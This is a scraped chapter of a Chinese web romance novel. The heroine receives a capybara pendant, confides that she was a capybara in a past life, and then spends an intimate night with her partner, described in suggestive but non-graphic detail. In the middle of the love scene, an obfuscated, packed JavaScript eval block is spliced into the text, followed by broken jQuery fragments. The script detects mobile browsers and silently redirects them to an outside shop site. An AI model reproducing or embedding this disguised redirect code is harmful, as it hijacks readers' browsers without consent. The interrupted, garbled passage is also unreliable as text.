文趣网 > 其他小说 > 水豚千金与阴鸷总裁 > 22. 豚豚攻略阴鸷总裁第二十二天^^……
    “陶清音是傅行格的前女友?”

    车内,我把陶清音和傅行格之间的爱恨情仇从头到尾跟沈寂讲了一遍,他听完,那双总是沉稳自持的眼睛里难得浮上一层意外,眉梢微微挑起。

    我笑道:“是吧,我也没想到,清音就是那个甩了傅行格的前女友。”

    沈寂握着方向盘,摇头轻笑一声。

    他也想到了傅行格当年被甩得猝不及防的模样,但作为多年好友,他比谁都清楚傅行格那个人,一旦真的爱上谁,掌控欲强得吓人。陶清音受不了提出分手,倒也合情合理。

    “如果陶清音不想破镜重圆,我去跟傅行格说,让他离你朋友远一点。”

    城市的霓虹一盏接一盏地向后退去,五彩斑斓的光影在车窗上流淌,像是被风吹散的水彩。

    我想起陶清音在楼梯间嘴上喊着崩溃,眼睛里的光却闪了又闪,像熄灭的炭火被风一吹,又冒出了零星的火星,摇了摇头:“离远一点倒是不用清音对傅行格……还有点余情未了,如果他们能和好,咱们也算是没让一对有情人错过。”

    沈寂“嗯”了一声,没再多说。

    他侧头瞥了我一眼,那双被霓虹映亮的桃花眼里漾着一点柔软的光。

    “听雪,”沈寂的语气忽然变得随意起来,像是在说一件无关紧要的小事,“你打开储物柜看看。”

    “储物柜?”

    我弯腰伸手打开副驾前方的储物柜。

    柜门弹开,暖黄色的顶灯自动亮起,照见里面放着一个深蓝色的绒面方盒。

    墨蓝色的丝绒在灯光下泛着细腻的光泽,盒面上没有任何logo,只在正中间压着一道简洁的烫银线条,低调而精致,一看便知是定制的东西。

    我看了沈寂一眼,他没有看我,视线依旧落在前方的路面上,但握着方向盘的手指微微收紧了些。

    他在紧张。

    这个在商界上面对任何场面都面不改色的男人,此刻竟然因为我要打开一个礼物盒子而紧张。

    我心里忽然软了一下,拿起那个盒子,掀开盒盖。

    一条银色项链安静地躺在黑色的绒垫上。

    吊坠是一只小小银质水豚,小水豚眯着眼睛,四只小短腿缩在圆滚滚的身体下面,活灵活现,头顶上还有一小片圆形的草绿色珐琅点缀,像是一撮被风吹乱的小草,俏皮又可爱。

    我把项链托在掌心里,意外和惊喜同时涌上来,抬起头,眼睛亮晶晶地看着沈寂:“今天不是爷爷的生日吗?怎么还有我的礼物?”

    沈寂的唇角弯了弯,侧脸的线条柔和了许多:“给爷爷定礼物的时候,突然想到你喜欢水豚,就想着也给你定一个。”

    他顿了顿,犹豫了一瞬,才期待地轻声问:“喜欢吗?”

    我爱不释手地捧着那个小小的吊坠,指腹轻轻摩挲着水豚圆滚滚的肚子,点头如捣蒜:“喜欢喜欢!”

    我将那条水豚项链戴上,银链贴着锁骨滑下去,微凉的触感在肌肤上留下一道细细的痕迹。

    我调整了一下吊坠的位置,转过身面向沈寂,扬起下巴:“好看吗?”

    沈寂侧眸看了我一眼。

    只一眼,他的视线就像被什么黏住了一样,多停了两秒,这对一个正在开车的人来说,已经是相当长的走神了。

    那只小小的水豚贴着女孩儿的锁骨下方,银色的链子在霓虹下忽明忽暗,衬得那片肌肤像浸了月光。

    沈寂的喉结微微滚动了一下。

    “好看。”他的声音比平时低,像从胸腔里压出来的。

    沈寂说完,他重新把目光移回前方的路面上,沉默了几秒,手指在方向盘上敲了两下:“我早就想问了,你为什么这么喜欢水豚?”

    不仅微信昵称和头像都是水豚,连好多睡衣上都印着水豚的形象。

    车窗外的光影继续流淌,一段没有路灯的路段过后,前方迎面而来一片璀璨的灯火,像黑暗的海面上突然出现了一座灯火通明的岛屿。

    “沈寂,”我轻抚项链,“你相信……人会记得上辈子的事情吗?”

    沈寂皱了皱眉,在思考我这句话。

    这还是头一次,有人听到我口中关于前世的只言片语,没有奇怪的笑,而是当作值得认真对待的心事来听,沈寂这份郑重其事的态度,让我忽然有了倾诉的冲动,那些关于前世的记忆争先恐后地涌到嘴边,怎么也止不住。

    “我上一世其实是一只水豚,这辈子转世保留了全部的记忆,水豚的寿命和人比起来很短,我活了大概十年,闭眼之前,我想再去池塘边泡一次澡,但冬天,水池结冰了,我太老了,没能等到春天,”我把上辈子的经历娓娓道来,耸肩一笑,“你可能觉得我在开玩笑,连清音都不信我,当年我跟她说的时候,她以为我写小说写着魔了。”

    沈寂沉沉的声音在车厢里响起,不高不低,却十分笃定:“我信。”

    我愣了一下,转头看他。

    他的侧脸被窗外的光影切割成明暗分明的两半,那双桃花眼依旧平视着前方的路面,神情平静,没有一丝敷衍或玩笑的意思。

    我怔怔地盯着他:“你不觉得离谱吗?”

    沈寂摇头,陈述一个观察了很久的结论:“你是我见过最喜欢发呆的人,特别爱吃蔬菜,而且每次晒太阳的时候,表情都像一只在打盹的豚。”

    窗外的夜景还在不断地向后退去,城市的灯火连成一片流动的光河。

    沈寂也没有再开口。

    车厢里安静了下来。

    车子驶上大桥,车窗外的景色忽然开阔起来,桥上的灯一盏接一盏地亮着,像两条长长的珠链镶嵌在夜色中,江水在桥下静静流淌,倒映着两岸的万家灯火,波光粼粼,碎金般闪烁。

    我把项链拢在掌心里,感受着银链在指间温热的触感。

    沈寂信了。

    他居然真的信了。

    桥上的风很大,吹得路边的旗帜猎猎作响,但车厢里温暖如春,隔音玻璃将外界的一切喧嚣都隔绝在外。

    车内只有空调的细微声响,和两个人安静而平稳的呼吸声。

    我闭上眼睛,靠进座椅里,手指依旧轻轻握着那只小水豚。

    上辈子的记忆像一部泛黄的老电影,在脑海里一帧一帧地掠过——阳光下暖洋洋的泥塘,和同伴们挤在一起晒太阳发呆的慵懒午后,还有那些在河边慢吞吞啃着水草、什么都不用想的漫长时光。

    而我手里握着的这只小小的水豚,是目前收到的最惊喜的礼物。

    不是因为它的价格,而是因为送它的人,真的看见了那个藏在我灵魂深处的,慢吞吞的喜欢晒太阳的,不属于这个时代的小小灵魂。

    我睁开眼,侧头看了一眼沈寂。

    他依旧专注地开着车,霓虹的光影在他脸上流转,将那张轮廓分明的脸映得忽明忽暗。

    似乎察觉到我的目光,他偏过头来,与我对视了一眼。

    “怎么了?”他问,声音低沉而温柔。

    我摇摇头笑了。

    “没什么,”我把项链小心地放进衣领里面,让那只小水豚贴着心口的位置,“就是觉得,这辈子转世成人,非常开心。”

    ——

    趁着俩人心里都有那股热乎劲儿,我和沈寂回到家热情似火,准备把生命大和谐这件事办了。

    客厅的灯没有开,只有玄关的一盏壁灯亮着,昏黄的光线把两个人的影子拉得很长,交叠在一起。

    我被沈寂打横抱到卧室。

    月光从没拉严实的窗帘缝里漏进来,细细的一线,落在床尾的地板上。

    沈寂把我放在床上的动作很轻,嘴唇贴着我的锁骨,不紧不慢地磨着,呼吸一下一下地扑在我的皮肤上,痒意顺着神经一路蔓延到指尖。

    我的手指插进了他的头发里。

    沈寂一边吻着我,手臂一边从我身侧伸过去,拉开了床头柜的抽屉。

    抽屉滑轨发出一声很轻的响动。

    沈寂从里面摸出了那盒东西,塑封的包装在安静的卧室里发出细碎的声响。

    他单手拆开了纸盒,抽出一个方形的小包装。

    很久没有动静。

    我睁开眼,看见沈寂侧身坐在床沿,手里捏着那个方形的小包装,眉头皱着,正对着上面那行小字认真端详。

    月光落在他微微抿起的嘴角上,沈寂表情太过专注,不像是在准备做什么亲密的事,倒像是在审一份条款复杂的合同。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17640763|205877||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    “怎么了?”我撑起胳膊肘,声音还裹挟着没散尽的喘。

    沈寂把那个小包装翻了个面,又看了两秒。

    “这个号,”他嗓音有些发紧,“可能买小了。”

    “……”

    沈寂把包装递过来一点,卧室没开灯,我也看不清上面写的什么,但看他那副欲言又止的表情,忽然就明白了他在说什么。

    我无辜地眨眨眼:“我买的时候特意看了,上面有小号、中号、大号,我不知道有什么区别,也没人教过我这个,我就——”

    我指了指沈寂手里的盒子:“挑了中间那个。”

    “我也……没有什么经验,”我挠挠脸,认真提出疑问,“正常人难道不都是选中间那个吗?”

    沈寂低头看了一眼手里那个已经被拆开塑料膜的小包装,又看了看我,笑意从唇角一点一点地漫上来。

    “没关系,”他吻了吻我的脸颊,“过了今天你就知道了。”

    这一次没有之前的急躁,而是一点一点地、慢条斯理地吻,像品茶的人一小口一小口地啜,舍不得一口喝完,他的吻从我的侧颈开始,沿着锁骨一路向下,每一处都停留得足够久,久到我能清晰地感受到他嘴唇的温度和微微急促的呼吸。

    月光在墙壁上缓慢地移动,像一只看不见的手在拨动时间的指针,窗帘的缝隙里透进来远处偶尔驶过的车声,模糊而遥远,像是另一个世界的动静。

    沈寂整个人贴上来的时候,我抱紧了他的肩膀。

    他一开始小心翼翼的试探,像是在适应什么,他的呼吸就落在我耳侧,又沉又烫,偶尔会顿一下,然后变得更沉、更重。

    从我的角度,刚好能看见沈寂的额角渐渐浮现出薄薄的一层汗,在月光下泛着细碎的光,他的眉心微微蹙着,眼尾泛着比刚才更深的红。

    沈寂每动一下,都要停下来看我一眼。

    那个眼神我说不上来是什么感觉,像是终于等到了什么等了很久的东西,他舍不得眨眼睛,怕一眨眼就没了。

    我的指甲陷进身寂肩胛的肌肉里,留下几道浅浅的月牙印,他的皮肤每一寸都是烫的,从肩胛到腰侧,从腰侧到掌心,烫得像他身体里有一团火在烧,而他已经忍了太久太久。

    窗帘被风吹得微微鼓了一下,那线月光晃了晃,落在沈寂因为用力而微微隆起的背肌线条上,光影勾勒出一道流畅的轮廓。

    我闭上了眼睛。

    感官被填得太满了,触觉和听觉被无限放大,沈寂掌心的温度、他呼吸的频率、他胸腔里心跳的震动,每一样都清晰得像放大镜下被拉长的线条,还有他的声音,低哑的、克制的、断断续续的喘息,像大提琴最低的那根弦被反复拨动,每一声都从我的耳膜震到心口。

    窗外的车声稀疏了下去,月光从床边挪到了墙角,时间的流逝变得模糊不清,像是有人把钟表的指针拧松了,让它慢悠悠地转,一圈又一圈,没有起点也没有终点。

    沈寂的额头抵着我的,两个人的鼻尖碰在一起,呼吸混着呼吸,分不清哪个是谁的。

    空气里弥漫着一种说不清道不明的温热气息,混着他身上淡淡的薄荷味道,像是冬天壁炉边被烤暖的空气,干燥而令人安心。

    他的手指插进我的头发里,指腹轻轻揉着我的头皮。

    “疼吗?”他的声尾音有种一种餍足的慵懒,像猫伸完懒腰之后那一声满足的叹息。

    我想回答,但我连睁眼的力气都快没有了,嘴唇动了动,只发出一声含混的鼻音,连自己都不知道是在说“疼”还是“不疼”。

    意识断线的前一秒,我感觉到沈寂退了出去,然后是窸窸窣窣的声响,他在处理什么,被子被掀开,凉风灌进来一瞬,我被面对面抱起来,不久被温水挡了回去。

    清洗结束,沈寂抱着我回到床上。

    他从身后拢过来,手臂穿过我的腰侧,腿缠着我的,膝盖弯进我的膝窝里,两个人像两把叠放的勺子,严丝合缝地贴在一起。

    他的心跳贴着我的后背,沉稳有力,一下一下地把我的意识往更深的黑暗里推。

    月光在窗帘的缝隙里闪了最后一下,然后沉入了云层后面。

    卧室彻底暗了下来。